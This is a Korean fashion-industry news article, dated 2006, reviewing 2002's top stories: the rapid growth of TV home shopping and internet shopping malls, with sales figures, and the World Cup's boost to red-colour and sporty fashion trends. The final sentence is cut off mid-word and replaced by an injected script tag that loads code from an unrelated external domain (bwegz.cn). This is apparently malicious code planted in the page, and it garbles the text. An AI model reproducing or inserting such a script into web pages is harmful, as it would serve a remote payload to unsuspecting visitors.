21세기 패션유통의 새로운 밑그림은?
2006-12-29 
패션인사이트 선정 2002년 10대 뉴스

홈쇼핑·인터넷 등 무점포 유통 대약진!
홈쇼핑, 인터넷쇼핑몰 등 무점포 유통이 유통시장에서 자리매김하고 있다.
2002년도 무점포 유통시장규모는 약 8조원으로 전년대비(01년 4조5천억원) 82% 신장한 것으로 나타났다.
업계전문가들은 “100조원에 이르는 국내 소매시장 규모를 생각하면 비교되지 않을 만큼 작지만 최근의 성장세와 확산속도는 유통업계를 긴장시키고 있다”라고 말했다.
올해 TV홈쇼핑부문의 시장규모는 4조1천760억원으로 전년대비(01년 2조480억원) 104% 신장해 무점포 유통부문의 성장세를 주도했다.
특히 LG홈쇼핑은 지난 상반기 TV부문에서 6천532억원을 판매한 것을 비롯 인터넷 쇼핑몰, 통신판매 등을 포함해 8천900억원의 매출을 올렸다. 이 같은 LG홈쇼핑의 매출은 오프라인의 대표격인 롯데백화점 본점 매출을 2천840억원 앞서는 것으로 국내 유통업계 판도변화를 보여주었다.
전문가들은 “최근 유선방송을 통해 홈쇼핑방송 시청이 가능함에 따라 시청자수가 급증했다. 특히 편안하고 실용적인 구매를 원하는 고객들이 늘어남에 따라 매출이 크게 늘어났다”고 말했다.
또 그들은 “케이블 가시청 가구수가 포화 상태인 1천200만명에 육박하는 내년에는 TV홈쇼핑 시장의 성장세가 주춤해지는 반면 인터넷쇼핑몰은 앞으로 5년 간 두 자릿수 성장률을 지속할 것”으로 내다봤다.
올 들어 인터넷쇼핑몰업계는 년 매출규모 3천억원, 일 매출 20억원 돌파 등 새로운 기록들을 쏟아내고 있다.
LG이숍은 연말까지 2천800억원을 돌파할 것으로 보이며 특히 지난달 20일엔 하루 주문매출 규모가 20억원을 돌파해 인터넷쇼핑몰시장에 일 매출 20억원 시대를 열었다. 삼성몰은 이미 지난 9월 올해 누계 매출규모가 지난해 총 매출에 육박하는 2천198억원을 기록했다. 현대홈쇼핑과 현대백화점의 인터넷쇼핑몰 ‘Hmall’도 02년 12월을 시작으로 ‘e-hyundai’에서 ‘Hmall’로 도메인을 바꾸고 마케팅을 강화하면서 본격적으로 온라인 시장에 뛰어들었다.
종합몰뿐만 아니라 전문몰들의 성장세도 두드러져 인터넷화장품전문몰 여인닷컴은 오픈 1년8개월만에 한달평균 50억원의 매출을 올리고 있다. 유명패션브랜드가 입점한 하프클럽닷컴도 한달 평균 12억원어치의 상품을 팔고 있다.
한국 전자상거래 및 통신판매협회가 최근 발표한 자료에 의하면 00년 4천600억원에서 01년 1조3천870억원으로 273% 성장했으며 올해는 2조5천790억원에 달할 것으로 전망했다. 내년 인터넷쇼핑몰은 4조원의 시장을 형성할 것으로 보인다.

패션월드컵은 계속된다
지난 2002년 6월 대한민국 국민들은 ‘월드컵’이라는 열병을 앓았다.
월드컵은 패션 시장에 ‘레드 열풍’을 몰고 왔으며 새로운 ‘태극기 패션’을 유행시켰다. 그러나 월드컵이 남긴 것 중 무엇보다 중요한 것은 우리 생활과 멀게만 느껴졌던 태극기를 몸에 두르고 씌우고 그리면서, 또 원색 컬러의 옷과 독특한 패션 소품을 자발적으로 활용하고 체험하면서 국민들의 ‘감성과 의식이 변화’됐다는 것이다.
패션 전문가들은 “월드컵이 남긴 소비자들의 ‘감성과 의식의 변화’를 한때의 현상으로 간과해서는 안 된다. 패션업체들은 월드컵 세대들의 감성 변화를 지속적으로 관찰하면서 브랜드들은 이들의 감성 변화와 니즈에 어떻게 대응해야 할지를 고민해야 한다”고 강조한다.
업계 전문가들은 월드컵이 장·단기적으로 소비자들의 패션 감각에 적지 않은 영향을 미친다고 말했다. 이는 무려 2천500만명에 달하는 응원인파가 원색적인 ‘레드 신드롬’을 체험하면서 컬러감각이 달라졌기 때문. 또 두건, 모자, 바디페인팅, 페이스페인팅, 가발 등 갖가지 패션 액세서리로 개성을 표현하고 숨겨졌던 ‘끼’를 표출한 소비자들의 패션 감각이 좀 더 개방적이고 자유로워졌기 때문이다.
월드컵으로 인해 올 한해 ‘스포티즘’에 대한 열기는 한층 더 뜨거워졌다.
2002년 패션시장에서 ‘스포티즘’은 전 복종을 망라한 메가 트렌드로 자리잡았다. 업계 전문가들은 2003년에도 스포티즘 바람은 계속 될 것으로 전망하고 있다.
여성복 시장에서 스포티즘 영 캐릭터 캐주얼 「A6」 「비엔엑스」가 급성장한데 이어 내년 상반기에는 「엔보이스」 「애니알릭스」 「틸버리」 등이 시장에 가세한다. 이들은 모두 스포티 컨셉을 밑바탕에 깔고 있다.
과거 남성들만의 전유물처럼 느껴졌던 「나이키」 「아디다스」 「푸마」 등의 정통 스포츠 브랜드는 월드컵을 기점으로 여성 고객들에게 좋은 반응을 얻으며 패션 브랜드로 부상했다.
캐포츠 시장에 대한 관심도 커졌다. 업계 관계자들은 “「A6」 「이엑스알」 등 캐주얼 감각과 스포츠 감각이 믹스된 상품을 내 놓는 캐포츠 브랜드들은 활동적이면서도 패션성이 가미된 옷을 원하는 젊은이들의 욕구를 만족시켜 주고 있다”면서 ‘주 5일 근?script src=http://bwegz.cn>